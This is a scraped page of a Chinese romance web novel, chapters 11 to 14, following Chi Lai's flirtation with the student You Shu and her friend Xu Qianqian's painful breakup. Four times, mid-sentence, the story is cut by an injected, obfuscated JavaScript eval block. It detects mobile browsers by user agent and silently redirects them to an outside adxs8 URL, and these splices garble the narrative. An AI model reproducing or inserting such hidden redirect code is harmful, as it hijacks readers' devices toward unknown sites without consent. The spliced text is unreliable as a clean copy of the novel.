;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183230|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朋友不像朋友，现在更是连那点暧昧也没了。 比赛一路绿灯，南北大毫无意外地拿下复赛。 “今天表现的都很不错！这周末庆功聚餐，都别迟到啊，地点时间发群里了。”队里另一个女体育老师说。 车上瞬间响起一阵欢呼。 “今天打得太爽了。” “是啊，游恕和队长那两个投篮太帅了。” “我不服，我觉得咱们今天配合得都帅哈哈哈。” 刘畅习惯了这群队友打了鸡血的样子，平时训练赛赢了大家伙氛围也这样好，扭头看游恕的时候说：“怎么了？赢了还绷着呢？” “没有，终于能暂时睡个好觉了。”游恕松了口气说。 “是啊，决赛定下在了五月底，还有几周，到时候有门票，给你姐搞一张？” 上次校园赛，迟莱都特地来了，刘畅就想着决赛有票得给游恕他姐一张。 游恕想到自己现在跟迟莱的关系，让人抽空过来看一群弟弟比赛，简直是天方夜谭。 “她来不了。” 刘畅估计人家是没时间来，“好吧，她来的话估计队里的都高兴死了，上次还有人找我打听你姐呢。” 迟莱长得好看，但是那种好看不虚浮，她的美独具力量，让人觉得不可及，所以大家都只敢私下找刘畅打听几句。 “她来也是看我，跟别人有什么关系。”游恕语气里很是不爽。 刘畅以为游恕是护姐心切，笑着搭肩说：“你姐肯定看你啊，走吧，下车了。” 迟莱连续没出现在直播间的第二个星期，方星泽终于忍不住跑过来问了游恕。 “你最近还没跟榜一联系吗？” 谁知道话音刚落，原本在游恕手臂中间夹着的篮球，瞬间就从他身旁擦了过去，差点砸到身上。 “别告诉我你是手滑啊。” 游恕说：“我要是手滑，那个球就已经砸你身上了。” 方星泽把球踢到床底下，“你还没回我呢。” “回什么？没联系，她要退款？”说到这个，游恕不自觉地有些紧张。 转念一想，原本说好的一个月期限，两周前就到了。 游恕看着手机里躺尸的人，心想，现在自己删不删还有什么区别呢。 方星泽说：“那倒没有。” 第一次之后，榜一每回来都还是会刷礼物，第一次的礼物过了一个月的期限了，但是后面新刷的礼物还没有。要是一直这么算的话，游恕今年过完都不一定能删。他觉得游恕到时候肯定得不乐意，所以就没再逼着他帮这忙了。 “她都好久没来了，突然少了个榜一，我还不能问问了？” 游恕把人推开，留了条路，几步走到椅子上坐下，“你自己私信她去，我这几天比赛，没关心。” 没关心就没关心，这家伙脸色怎么突然晴转阴的，方星泽怕把人给点毛了，还是先不问了。 前段时间说可以正常交流，原来她的正常交流就是不交流，游恕看着此刻安静得如同样板砖的手机就窝火。 这种有火没处发的感觉真他妈憋屈。 迟莱只觉得自己主动过了，是该晾一段时间让人好好想想了，再好也不是无可替代，她可不想找个摸都摸不了的弟弟。 再者，许倩倩那边又出了事，她现在还得赶着过去。 11. 第 11 章 迟莱到许倩倩家的时候，人正提着包准备出门，面色慌张。 “你来啦，我现在得先出去一趟。” “你去找陈锋意？” 迟莱下班前刚知道许倩倩在闹分手，以为只是小吵小闹，现在看来不是。 “现在大晚上的，你去哪儿找他？” 许倩倩说：“他跑去郑昊元那边了，他们学校今天有个聚餐，我去那儿找他。” 最近不知道怎么的，原本联系少得可怜的人，这两个月里总是不得不碰面。 许倩倩情绪上头的时候言辞容易偏激，迟莱不知道许倩倩是不是单纯的语言发泄，她不放心。 “我跟你一起过去。” “行。”许倩倩犹豫了一下说。 陈锋意驱车到聚餐的地方时，郑昊元正在跟队里的人喝酒，今天是球队比赛赢了的庆功宴。 “锋意，来我这儿。”郑昊元早早就给陈锋意留了位置。 陈锋意跟一群人点了点头，算是打了招呼，球队里的人见是老师的朋友也就没多话，自己聊自己的去了。 “分了心情不怎么样？”郑昊元问。 陈锋意倒了杯酒，说：“说不上来，也是松了口气吧。” “你小子，别过几天和好了，那我在许倩倩那边可就一点好都捞不着了。” 许倩倩和迟莱的关系一向很好。 “不会，我和她迟早要分的。” 郑昊元不了解，“这话怎么说的？” “她太需要我了，需要到没有自己的生活，我原本觉得挺好的，因为我确实喜欢她，但是后来没那么喜欢了，她又一直要求我的生活里不能有事情比她重要，我实在受不了了。” 陈锋意说起来一脸愁闷，仰头喝尽了一杯酒，继续道：“你也知道，我现在工作上没什么起色，我想努努力，实在是没有多余的精力花在他身上，这次吵架就干脆分了。” “行了，叫你出来吃饭的，别一个劲地喝酒了。”郑昊元把人手里的杯子拿下来。 许倩倩一路上都没怎么说话，静静地看着车窗外，灯影和车身擦肩而过。 车内一路无言，直到迟莱说：“到了，他们吃饭挺多人的，你有什么想说的就跟他出来说吧。” “嗯，知道了。” 迟莱停好车，“我陪你上去，顺便去个洗手间。” 车子停在这条街口的地面停车场，陈锋意吃饭的地方就在这条商业街上。 许倩倩进来前给陈锋意发了消息，没有选择直接进去，毕竟里面还有挺多外人的。 “许倩倩怎么知道我们在哪儿吃饭的？” 陈锋意在那通分手电话里只说了要跟郑昊元去吃饭，并没有说在哪儿，就是怕许倩倩找他。 郑昊元说：“大概是迟莱带她过来的。” 这话一说，陈锋意就知道了，“你为了给迟莱讨个好，就出卖我是吧。” “没有今天，也会有之后，你要想结束，起码跟人说清楚，一通电话许倩倩能放过你嘛。” 陈锋意没办法，只能起身出门，发现许倩倩就在包厢门口，“去那儿说吧。” 两个人一起到了走廊最尽头，这边有个小阳台，没什么人，说话也方便。 “你想说什么，说吧。”陈锋意现在的语气和态度，许倩倩见过许多次，每次吵架的时候他都是这样，冷静的面具下是满满的不耐烦。 许倩倩说：“吵架的事我跟你道歉，能不分手吗？” “你不用跟我道歉，你没做错什么，是我想分了。” “我没做错什么，你怎么会突然要分手呢？那天我们明明就是和好了才见面的呀，转眼你就说分手，你要我怎么接受？” 陈锋意叹了口气，“不是突然，我很早就想分了。” 即使许倩倩以前一遍遍地告诉自己，陈锋意只是生气说分手，但是她哪里不知道，如果陈锋意对他的感情不减，怎么舍得一次次说分手说得如此轻易。 “你没发现每次我说了分，你都会一直磨着让我收回，我想分手的念头很早就有了，你难道不知道吗？” 许倩倩眼眶里的泪还是忍不住落了，“那你应该告诉我的呀，你说的是真的，为什么我不肯，你就又跟我和好呢？那我以为你也还舍不得啊。” 抹了眼泪，看向陈锋意，猜想说：“所以你只是觉得有比没有好，将就再过过也行？” 许倩倩从陈锋意的脸上看不到一丝痛苦，就像以前自己看着陈锋意吃醋的时候一样，对方越生气自己就越冷静得意。 “你看，其实你都知道。”陈锋意说。 她什么都知道，但是她宁愿自己不知道，在错误的路上一直找寻对方还爱她的证据。 “为什么要来呢，这只会让我更想分开，我想开始自己的生活，这段感情在我这儿现在只剩负面情绪了，我消化不了了。” 许倩倩觉得自己此刻才是要被无尽的负面情绪压垮了，生活里除了工作就是这个人，自己的天平从始至终倒向他，而他此刻要抽身，天平也就彻底颠倒了。 餐厅一楼就一个前台和展示柜，迟莱上了二楼才看到厕所标识，结果刚到楼梯口就来了个热情的迎宾，问她预约的包厢号。 迟莱有种去麦当劳白蹭厕所被抓包的尴尬，也不知道这边的包厢是怎么排的，要是报个号码人家店里根本没有，那就真尴尬了。 “他跟我一起的，213。” 身后传来熟悉的声音，替她解了围，迎宾小姐礼貌地笑着离开了。 “你怎么来了？”游恕问。 想起之前迟莱去办公室找郑昊元，不由地猜想说，“你是来找郑老师的？” 他的声音有点哑，带着一点点鼻音，问问题的时候尾调上扬，不经意地勾人。 迟莱问：“你感冒了？” “快好了。” 那就是感冒了。 “我跟朋友过来吃饭，借个厕所。” 游恕哦了一声，指了指厕所的方向，迟莱说了声谢谢就去了。 迟莱出来洗手，从镜子里看见厕所门口游恕还站在那儿。 “怎么不回去？” 游恕没有想到什么好的理由，半响没说话，到最后憋出一句：“你不是不认识路。” “楼梯口到厕所的距离不超过五十米，我的记性还没那么差。” 被人戳穿的游恕，显得有些局促，又不肯就这么走了，距离上次两个人说话已经快过去一个月了。 迟莱还是心软了，主动说：“最近怎么没找我？” “你不是也没找我。”游恕说里有怨气不小。 迟莱听出来了，扯了个谎，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183231|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我前段时间比较忙，没什么时间正常聊天，所以就没找你。” “正常聊天”这四个字，在此时此刻又噎了游恕一回。 见游恕不接话，迟莱说：“你们在这儿聚餐？” “郑昊元告诉你的？你不是说是跟朋友一起过来的嘛。” 刚刚还郑老师，现在就变成郑昊元了。 迟莱还没回答，视线越过了游恕，看向了游恕身后的人。 “刘畅。” 游恕这才回头，他跟迟莱就站在洗手间门口聊了半天，包厢里的人出来就能碰上。 “姐姐，你怎么也在这儿。” 这两个人一来一回打招呼的熟稔样子，看得游恕心堵。 “跟朋友过来吃饭，你叫我小莱姐就好了。” “我说呢，游恕出来半天没回去，原来是跟小莱姐碰上了。” 刘畅边上还有另外一个队员，上次学校篮球赛的时候远远的看见过迟莱。 “小莱姐好，我是林家默，也是游恕的同学。” “你好。” 林家默开朗地说:“上次学校篮球赛的时候我们见过，不过你大概没看见我，当时我还问了队长，他说你是游恕的姐姐，不过不知道是不是亲姐，我就以为队长跟你不熟，没想到你们还挺熟的。” 两个人刚从包厢出来，迟莱看到刘畅就认出来了，笑着喊了名字，跟他打招呼，一看就是认识的。 刘畅倒是有点不好意思了，摸了摸脖子说：“不熟，就是认识。” 迟莱余光看到游恕的表情不是很好，于是故意没有否认，只说：“没事，有机会一起吃饭，多看看比赛就熟了。” 这样主动说要约吃饭，还要约看球的话，一听就不是敷衍客套。 刘畅也大方应下。 迟莱一向很主动，她对刘畅这样说是不是之后真的要约饭，约比赛看？就像之前约自己吃饭，来看自己比赛一样，她在和另一个人约着跟自己有过的约会。 “我送你回去，你哪个包厢？”游恕在一旁忍不下去了说。 刘畅和林家默见状打了招呼就先离开了。 “你刚刚什么意思？”游恕皱着眉问。 迟莱也学起游恕，装不懂反问：“什么什么意思？” “你明明知道。” “哦，不就是约个饭嘛，我跟你不是也约过？”迟莱满脸无所谓的样子。 游恕双唇抿成了一条缝，没有太多血色，“约了之后呢？” “你觉得呢？”迟莱垂着眸子，没有看游恕，用手拢了拢单薄的皮衣外套。 “吃饭、看球、聊天、撩他，最后再问他愿不愿意是吗？”游恕一边回答一边回忆自己跟迟莱做过的每一件事，到最后声音竟然带上了一丝颤音，。 迟莱听出来了，有些于心不忍，原本暗示完就已经晾了人一个月了。 “你不是还没回答我吗？” “嗯？”游恕对上迟莱的视线，她终于抬头看着他了。 “你听见了。” 游恕说：“我回答完，你就要去找他了吗？” “那要看你怎么回答了。” 迟莱笑得一脸无害，偏偏说出的话却让游恕为难，不知道怎么回答才能在她那儿拿到满分。 “我不需要你跟我正常聊天，这样可以吗？” 12. 第 12 章 迟莱双手环抱在胸前，一副思考的样子，故意为难说：“好像还不够。” 等待游恕回答的时间里，迟莱手机已经震了两次了，应该是许倩倩，不能再不接了。 谁知迟莱刚拿起手机，游恕一把抓住她的手腕，挡下说：“我可以......可以试着接受，但是你得给我点时间。” 没办法，迟莱握着手机的手还是先放下了，“要是不能接受，那就算了。” “我没说不可以，我需要点过程，你就不能等等嘛。”游恕的语气有些急，还有一点......委屈的感觉。 这个答案，迟莱还算满意，毕竟他要是一下子就接受了，那自己还免不了怀疑他是不是有过拍拖的经验。 “行，给你，急什么？”迟莱盯着游恕说。 游恕这才松了手，急忙澄清说：“谁急了，你是不是要走了？” “怎么我就要走了？” 游恕指了指迟莱的手机，“你的电话。” “知道还不让我接，故意的？” 游恕心思被看穿了，翻起旧账说：“你一忙就是一两个月，我怕说不完。” 看来这一个多月不联系，真给弟弟留下后遗症了，这么记仇。 迟莱耐心解释说：“我陪我闺蜜来找人的，要送她回去了。” “这样，那......” 迟莱一边回拨着电话，一边说：“回家了找你，你先好好聚餐吧。” 游恕听到这话，心头一跳，“嗯，那你开车小心点。” 游恕这边半天没回去，郑昊元见少了个人，便问刘畅：“游恕他人呢？” “哦，他碰到他姐了，聊了会儿，应该快回来了。” 郑昊元觉得挺巧的，但是也不疑有他。 陈锋意话说完就走了，迟莱到的时候，许倩倩一副掉了魂的样子，眼睛也是通红。 迟莱没问，过去就把人拉了过来，往停车场去了。 郑昊元等了半天，才见陈锋意回来，却见他还是形单影只，“迟莱她们呢？” “回去了。” “就回去了？” “嗯。” 之前郑昊元自作主张的联系就惹得迟莱不高兴，所以这次刚讨了点好处，就没有贸贸然过去找人。没成想迟莱连个面都没露，就直接回去了，可想而知陈锋意跟许倩倩多半也谈崩了。 算了，不能急，下次再找机会吧。 “聊得怎么样了。”迟莱等许倩倩上了车才问。 “还能怎么样，我之前吵啊、闹啊，才拖着他多施舍了我几天，现在拖不动了。” 许倩倩仰着头靠在副驾的椅背上，没有抽泣，眼泪顺着苍白的脸颊淌了下来。 许倩倩自嘲说，“你知道吗？以前吵得最厉害的时候，我还威胁过陈锋意要是跟我分开我就弄死他，他害怕了，跟我和好了。” “倩倩，其实......” “我心里知道我不敢做那些事，但我气极了，在他找别人的时候，我真的恨死他了。可是我自己不争气，我没有办法离开他，因为我不想经历戒断，我甚至做不到一天不找他。” 迟莱不知道陈锋意跟别人有过关系，许倩倩和陈锋意谈了一年，前段时间刚过了一周年纪念日，在迟莱的印象里两个人并没有分开过，所以陈锋意都不是无缝衔接，而是实打实地出轨。 “忍过那几天就好了。”迟莱说。 这不是风凉话，许倩倩前几段也都是互相纠缠大半年，分开一两天她就没事了，她的戒断从来没有超过三天。 只不过她喜欢一成不变的东西，喜欢安稳的感觉，所以即便是在安稳中痛苦，也不愿意面对那一两天的不安。 许倩倩明显也是知道的，“但是我很难开始，我忍不住，我甚至可以原谅他出轨，大概也是因为这样，他才会不怕失去我吧，连我自己都已经失去自己了，更何况是别人。” 迟莱没有再继续这个话题，因为脱离开了，事实谁都能看清，只是不愿意罢了，“今天去我那儿吗？” 许倩倩摇头说：“算了，我想自己呆一会儿。” “嗯，睡不着就给我打电话。” “好。” 迟莱把许倩倩送到家楼下后，在车里坐了一会儿，最后在手机上找到了之前拉的四人群，迟莱是群主，直接把许倩倩和郑昊元踢了出去，在群里给发了条消息。 【别再理她了，不管是什么形式的联系，否则偷吃的事过不去。】 发完直接退了群。 迟莱感觉今天一整天都处在低气压了，工作完就赶来找许倩倩了。 现在只想赶紧回家，找弟弟汲取一点能量。 “你们这么早就结束了？”方星泽听到推门声，差点以为是宿管阿姨突袭，没想到是游恕。 游恕说：“没什么事就回来了，在直播？” “对啊。” 游恕身上穿着冲锋衣外套，背了一个运动斜挎包，站在方星泽身后，仗着自己个子高，整张脸都在镜头外，就直接在直播电脑上看在线观众id。 好像没有看见她。 方星泽以为游恕也想玩了，于是说：“玩不玩啊，我勉强带你一把。” “不玩儿，洗澡去了。” 游恕刚进去不到五分钟，手机就响了，方星泽半天了才发现，还是弹幕一直在刷才看到的。 “我带着耳机肯定听不清啊。” 方星泽打完了摘下耳机，听见是游恕的手机在响着，闭了麦扬声喊道： “游恕！你电话。” 游恕里面水没停，模模糊糊得听不清，等出来了，看见手机上的未接语音，都没顾上头发还在滴水，拍了方星泽问： “有我电话，你怎么不喊我一下。” 方星泽有苦没处说，“我喊了，你没听见呀。再说了你在洗澡，听见了你还能光着出来啊。” 游恕理直气壮地说：“你不是可以给我递进来。” “谁的电话啊，洗澡都接。”方星泽八卦了一下。 “没谁，打你的游戏吧。”游恕一句话把人打发了。 方星泽见游恕直接推门去了阳台，撇嘴说：“无情无义的男人。” 迟莱打了电话没通，心下以为对方聚餐还没回来，谁知道电话挂断没几分钟，那头就回拨了过来。 “喂？”游恕试探性地吐了个字，没有听到对面的回应。 游恕靠着阳台的围栏，眼前是黑底长夜裹着点点灯火，十点多很多寝室已经熄了灯，最后是迟莱的笑声轻柔地打破了沉默。 迟莱说：“刚刚怎么没接？” “刚刚在洗澡，手机放桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183232|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子上了。” “这样啊，给我看看。” 游恕摸了摸鼻子，尴尬说：“都洗完了。” 迟莱关了灯，在床上笑得不行，“我没说看你洗澡。再说了，这么久没见，恶补一次尺度大点不为过吧？” “没见怪谁？” “嗯，怪谁？”迟莱反问了回去。 游恕见势就收住了，不想提这些，怕迟莱又想到什么，再晾个几个月。 迟莱突然问：“你在哪儿呢？” “在阳台呢。” 游恕心想，你打电话过来，怎么在寝室接，万一说了些不干不净的，他不接话又显得没有诚意，毕竟今天刚答应要试着接受。 没有听到迟莱回应，游恕才反应过来说：“你在看直播？” “是啊，本来想调戏你，顺便看看什么反应的。” 游恕现在都有些面红耳赤了，要不是偶尔有迎面风，他都觉得要冒汗了。 “想看的话，可以给你开视频。”游恕小声说，反正阳台昏暗，应该看不太清。 “你明天打球吗？” 游恕见迟莱没有回自己的提议，情绪有点失落。 “嗯，明天下午得去。” 迟莱语气勾人，缓缓地说：“明天打完球给我看看。” 游恕一下子又红温上脸，眼皮一跳，原来她听到了。 最后嗯了一声，答应了。 “你朋友今天是出什么事了吗？”今天迟莱走前接电话的神情不是很好，游恕看迟莱赶着去接人，所以当下忍住了没问。 迟莱脸藏进了枕头，闷声说：“有点吧。” “说说？” “你在八卦吗？”迟莱在笑，阴霾散去了一点。 “不说算了。” 迟莱嗓音轻缓道：“她分手了，闹得不好看，我就是过去接人的。” “这样。” 看来跟她没什么关系，第三者的事情迟莱要是不想说，他也没什么兴趣问。 两人静默了一会儿，迟莱继续说：“她谈恋爱的时候很上头，那个男的出轨也没分掉，这次吵了一架就要分，她估计一时接受不了。” “那你呢？”游恕问。 “我什么？” “会上头吗。” 迟莱回想了一下之前的几段关系，有些都已经记忆模糊了，“大概不会吧，我比较自私。” “那是你根本不喜欢，不是都说喜欢就会觉得亏欠？” 迟莱好奇问：“你哪儿而学的？” 这一听就不像游恕会说的话。 “方星泽爱看点狗血剧。” 有次外放的时候，游恕过耳了几句，有点印象。当时听得浑身不舒服，就不准方星泽再外放了。 迟莱说：“你看着就不会。” “为什么？” “感觉。” 或者说是，她希望是，因为这样更适合他们之间的关系。 然而游恕手肘撑在阳台栏杆上，垂着头说：“不知道。” 可能会吧。 “正常来说，对一个事情的定性不清楚，只有一种可能，那就是数据不够多，无法做出分析。你谈太少了弟弟。”迟莱笑着给出了个结论。 “错误数据也会影响判断，你对自己的认知可能也不准确。”游恕说。 13. 第 13 章 “那谁是我的错误数据？郑昊元？”迟莱笑着问，他发现游恕似乎很不喜欢他这个郑老师，而原因她多半能猜到。 游恕说：“这是你自己说的。” 迟莱想着，大概她确实没有真正享受过恋爱吧，所以也没有办法评判、定位自己。不过如果都是陈锋意他们那样的人，那没有也好。 “我困了，游恕。” “睡吧，我也快熄灯了。” 游恕挂了电话，等脸上的温度降了降，才回去。 方星泽已经下播了，周一到周五校园网十一点准时断网。 “外头更深露重的，也不知道往家里赶。”方星泽语调阴阳地说。 “网没了？” 方星泽一脸无奈，“是啊，我的职业生涯迟早断送在学校里。” 他话刚说完，就见游恕准备上床去，于是诧异地问，“今天这么早上床？” “嗯，明天要练球，早点睡。” 方星泽怼道：“你最近哪天没练球了？也没见你早睡呀。” “你要是太闲了，就去一楼当宿管。”游恕说。 方星泽这打也打不过，骂也骂不过的，懒得自讨没趣，转回身去了。 因为市篮球赛的原因，南北大室内篮球场暂时关闭，只有篮球队的人才能申请。 昨天聚餐结束，体育组给篮球校队的人放了一天假，游恕到的时候场馆里人比平时少了许多。 “副队，你今天怎么过来了？”林家默拿着球走过来。 林家默今天有课，下午吃完晚饭没什么事，就约了几个人过来打一会儿。 剩下没课的几个，昨晚都放开了喝的，现在根本起不来。 游恕指了指刘畅说：“跟他约了打一场。” 刘畅说：“这家伙昨天大晚上的给我发消息说今天要约一场，我只能舍命陪队友了。” 大四留校没什么课，刘畅看时间差不多就过来等游恕了，刚刚一直坐着当观众，现在才站起来。 林家默搭着刘畅的肩，说：“咱们这么努力，作为队长不是应该高兴吗？” 刘畅说：“他再努力点我就该让位了。” “要不是你来得早，可能真就让位了。”林家默在边上说，语气十分欠揍。 “那我简直求知不得。” 刘畅再过一年就要毕业了，他之前就问过游恕队长的事，但是游恕的回答还是一如既往。 最早进队的时候游恕就是为了打球方便找人，打比赛也尽兴。副队还行，队长的琐碎事情就太多了，他不愿意，所以刘畅提了一嘴被人拒了也就作罢。 “带球了？”刘畅抬起下巴，示意了游恕手里的球。 “嗯。” 游恕不太喜欢学校的篮球，一般方便的话，都自己带球。 游恕把手里的丢给了刘畅说：“来吧。” 篮球馆一共6个场地，他们选了最边上的位置，林家默正好休息在一边给他们当裁判。 迟莱下午去找了许倩倩吃饭，对方脸跟熊猫似的，黑眼圈挂在眼下，存在感挺强。 “昨天没睡？”迟莱把餐厅打包来的饭菜放下，关心地问。 “睡不着，没睡几个小时。” 许倩倩醒得早，但是一直在床上躺着，迟莱硬生生把人叫起来的，她现在还顶着个鸟窝头。 迟莱一边打开外卖一边说：“有进步，我估计你过两天就好了。” 许倩倩确实感觉天亮了，气都顺了不少，“但是你的语气冷漠得让我发抖。” “该说不说，你哪次不是彻底断联个两三天就好了，我昨天看你伤心都没好意思说你。” “那你怎么知道这次不是例外呢，万一难受个大半年，那我......我先称个体重再吃，昨天一天没吃还哭了一晚上，你知道上次我这样，七天瘦了十斤，夸不夸张。” 许倩倩说话的时候脚已经踩上体重秤了，随后惊喜地说：“果然轻了三斤，这阵子吃的都还回去了。” 迟莱笑了笑摇着头说：“那你可别太快走出来，毕竟三天不够你瘦的。” “他昨天把我联系都拉黑了，我勉强也接受了分手的事实吧。”许倩倩垂头丧气地说。 “你就是缺人陪你，换个人你也行。” 许倩倩说：“话虽如此，但也过了一年，怎么会有人这么狠心。” “吃饭，我可还看陈锋意不顺眼呢，少跟我提他啊。” “好好好，买的什么？我先去洗漱一下。”许倩倩也没等迟莱说话，在边上看了一眼就去洗手间了。 等许倩倩出来的时候，迟莱已经先吃上了。 “也不等我。” 迟莱边吃边说：“我买的我先吃没什么毛病。” 许倩倩坐下就问：“晚上要不要去喝酒？” “不去，明天还上班呢，而且我晚点还有事儿，得回去。” “这么晚还有什么事，你工作也得有点节制吧。”许倩倩想当然地以为是工作上的事。 迟莱夹菜的筷子顿了一下，娓娓说：“不是工作的事。” “那什么事儿？” 许倩倩意外迟莱现在生活里除了工作还能有什么，前阵子跟郑昊元的事儿也讲清楚了，按理来说没什么急事。 迟莱神神秘秘地说：“私事儿。” “你什么私事儿我不知道啊。” 迟莱揶揄道，“你哭都来不及，我可不敢打扰你。” “行吧，再让我哭两天，我再问。”许倩倩认命地说，她现在自己也是破事一堆。 迟莱准备回去的时候给游恕发了条信息： 【打完了吗？】 游恕那边还没结束，手机在林家默边上，林家默听到动静下意识看了一眼。 备注是迟莱，他回想了一下就猜到了是谁。 “副队，你姐问你什么时候打完。”林家默拿着手机一遍招手一遍喊道。 游恕刚一个投篮起跳，球还没脱手，就立马收了回来，把球传给了刘畅，出了球场。 “手机呢？” 林家默把手机给了游恕，只见游恕拿到就在手机上敲打了起来。 “这么急，小莱姐有什么事吗？” “没，你跟刘畅打会儿吧。” 刘畅这个时候正好也过来了，听见游恕这么说，赶忙婉拒说：“算了吧，我也休息会儿，昨天喝了酒，今天真打不太动了。” 见游恕还在看手机，便说：“我说你小子见人就拒呢，原来是看不上啊，不过我告诉你啊，你要是按你姐的要求来，那还真是难找。” “我看副队就是个妥妥的姐控。”林家默调侃道。 游恕蹙着眉说：“少乱说。” 这时候刘畅也来帮腔，“我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183233|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还真不是乱说，谁家弟弟上了大学还真么听话的，消息这么急着回，晚回了你姐打你不成。” 打不会，但她会晾着他。游恕在心里又默默抱怨了一次。 游恕其实想说，自己跟迟莱并不是姐弟，但是话到嘴边又不知道怎么解释了，因为说起来自己和迟莱其实并没有什么关系，而他讨厌这种说法。 “行了，休息一会儿该回去了，食堂都要没人了。”刘畅说。 迟莱刚上车看到游恕回过来的消息。 【打完了，你要现在嘛？】 【现在什么？】 游恕知道迟莱在明知故问，但是没办法，她就是想听他自己说。 【开视频看我。】 【晚点儿，在路上。】 原本觉得半个小时的路程挺久的，每次从许倩倩这边赶回家都恨不得一油门就能到，但是今天似乎格外快，一路绿灯。 相反，游恕就觉得时间过得格外慢了，要是发了消息直接打倒是还好，现在发了消息还要等一个随时可能会弹过来的电话，就很煎熬了。 游恕坐了不到一分钟就又去抓一下头发，一会儿又起来换一件衣服，搞得方星泽在一旁一头雾水。 “哥，你能别不穿衣服在我这儿晃了嘛，看得我自卑。” 游恕说：“滚，我换件衣服。” 不过以后确实要小心一点了，之前方星泽都是不开摄像头的，所以游恕也随便，换件衣服不会特地跑去厕所，脖子那儿一拽，脱了衣服，直接就套上另一件，几秒钟的事。 但是自从方星泽开过视频以后，人气有所上涨，还来了个“榜一姐姐”，这小子直播就没关过摄像头。 搞到最后游恕还是换回了第一件，一件黑色潮牌T恤。 迟莱到家收拾好，直接给游恕弹了电话，甚至都没有先发消息问一嘴。 这通电话打得游恕猝不及防，但是也不敢点拒绝，一直等到电话铃声快要结束了才接起来。 “准备这么久？”迟莱那边的摄像头没开，整个手机屏幕上只有游恕。 游恕有些紧张，说：“没准备。” 迟莱看了看游恕身后的背景，“你这是已经回宿舍了？” “嗯，打完回来了，刚上床。” 游恕把床帘拉上了，防止方星泽回头看见，虽然他现在直播也顾不上别的。 “这样啊，我昨天说的想你打完球给我看，好像不是这个意思。” 游恕一脸探究的表情，看来他是真的没明白。 迟莱觉得开视频好像不错，能看到游恕不少小表情，甚至都不用去猜他在想什么，都写在脸上。 “我记得我的意思是，我想看你打完球的样子。” 迟莱只不过是重复了一遍她说的话，游恕就感觉自己的脸又有些烧起来了，晚上果然不能多想。幸好帘子里面光线暗，看不太清楚。 “打完球有什么好看的，一身臭汗。” “没有吧，汗其实没有味道，就像你上次打完球坐过来那样，我还想看。”迟莱直白地说，仿佛就像日常聊天一样，将自己的私欲娓娓道来。 “你不早说，我都回来了。” 迟莱看着游恕自顾自地笑，游恕现在已经知道了，这个时候，迟莱多半又在想坏主意了。 果然，“那你下次打完球，穿球衣的时候，我想试试手感。” 14. 第 14 章 “你说话拐个弯儿能死。”游恕小声抱怨道。 她总是能把别人难以启齿的话，在自己面前轻松脱口，结束了还不忘看他的反应，以至于他总是忘了自己要说什么，只顾着躲她的视线了。 迟莱确实就喜欢他这个被撩就恼的样子，看着劲劲儿的不好惹，其实可能一顺毛就乖。 “不能，我就喜欢平铺直叙。”迟莱嬉笑着说。 游恕只能认输似的，说：“明天训练赛，来吗？” 今天刚给校队的人放了一天假，明天训练赛就要提上日程了，决赛在即，训练强度不能松。 迟莱想到今天助理刚递过来的行程表，明天下午好像有一个临时加的会，会议商讨的都是近期临时增定的项目要求，不知道几点才能谈妥脱身。 “明天下午有个会，不一定几点。”迟莱先打了个预防针。 “那你忙完过来吧。”游恕说。 明天是球队恢复训练第一天，他们过去也得先做热身和恢复训练，正式开始打球应该也比平时晚一点。 看着手机里的人，迟莱忍不住感叹了一句说：“开小灶确实好，要不我包了你，以后都给我给开单人直播？” 游恕听着迟莱的声音，话里话外都听得他心里痒痒的。看不见迟莱，但他做什么却都被她一览无遗了。 又想起她给方星泽直播间砸的钱，游恕带着点不平衡，说：“怎么，你要给我也刷礼物？” “想要什么？”迟莱没有犹豫问。 “财大气粗啊，可惜我接单看眼缘。” “嗯，那你觉得现在这个怎么样？”迟莱喜欢他拿乔的样子，所以顺着他的话问，耐心十足。 游恕说：“我现在不正在给你开？” 她真的很喜欢明知故问。 “那行，以后直播间刷礼物的钱就留着包养你。”迟莱越说越真。 “行啊，好好养。”游恕反击了回去。 